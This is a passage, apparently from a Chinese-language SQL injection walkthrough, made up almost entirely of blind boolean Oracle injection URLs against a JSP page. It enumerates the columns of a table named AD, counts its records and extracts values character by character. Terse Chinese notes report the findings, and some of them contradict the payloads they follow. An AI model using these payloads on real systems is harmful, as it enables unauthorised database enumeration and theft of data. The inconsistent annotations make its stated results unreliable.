www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 65>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 109=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 109>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 102=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 102>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 99=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 99>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 97=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 97>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 53=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 53>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 51=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 51>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 50=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 50>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 48=ascii(substr((SELECT COUNT(*) FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

 以下为猜解第一列的第一个字段名CLASS的长度为：5

www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 5<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 9>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 7=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 7>nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 5=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

 以下为猜解第一列第一个字段的第一位为：C

www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 78=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 78>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 71=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 71>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 68=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 68>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 66=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 66>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

 以下为猜解第一列第一个字段的第一位为:L

www.test.net/index_kaoyan_view.jsp?id=117 And 79=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 79>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 73=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 73>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 76=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

 以下为猜解第一列第一个字段的第三位为：A

www.test.net/index_kaoyan_view.jsp?id=117 And 83=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 83>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 84=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 84>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 81=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 81>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 82=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 82>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

 以下为猜解第二列：

www.test.net/index_kaoyan_view.jsp?id=117 And 74=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 74>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 72=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 76>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 86=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 86>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 87=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 87>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 85=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 85>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 88=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 88>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 89=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))

第一个记录的第一位值为：

4、猜解数据值：

 数据值长度为一位：1

www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COUNT(*)FROM AD)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COUNT(*)FROM AD)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT COUNT(*)FROM AD)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT COUNT(*)FROM AD)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT COUNT(*)FROM AD)),0)

 数据长度为：9条记录

www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT(*)FROM AD),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT(*)FROM AD),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 55=ascii(substr((SELECT COUNT(*)FROM AD),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 55>ascii(substr((SELECT COUNT(*)FROM AD),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 56=ascii(substr((SELECT COUNT(*)FROM AD),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 56>ascii(substr((SELECT COUNT(*)FROM AD),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 57=ascii(substr((SELECT COUNT(*)FROM AD),1,1))

以下猜解记录值

 第一行第一列记录的长度为：1，值为：1

www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

 第一行第一列记录的长度为：1，值为：2

www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

 第二行第一列记录的长度为：1，值为：2

www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 49>ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 50=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

 第二行第二列记录的长度为：1，值为：2

www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

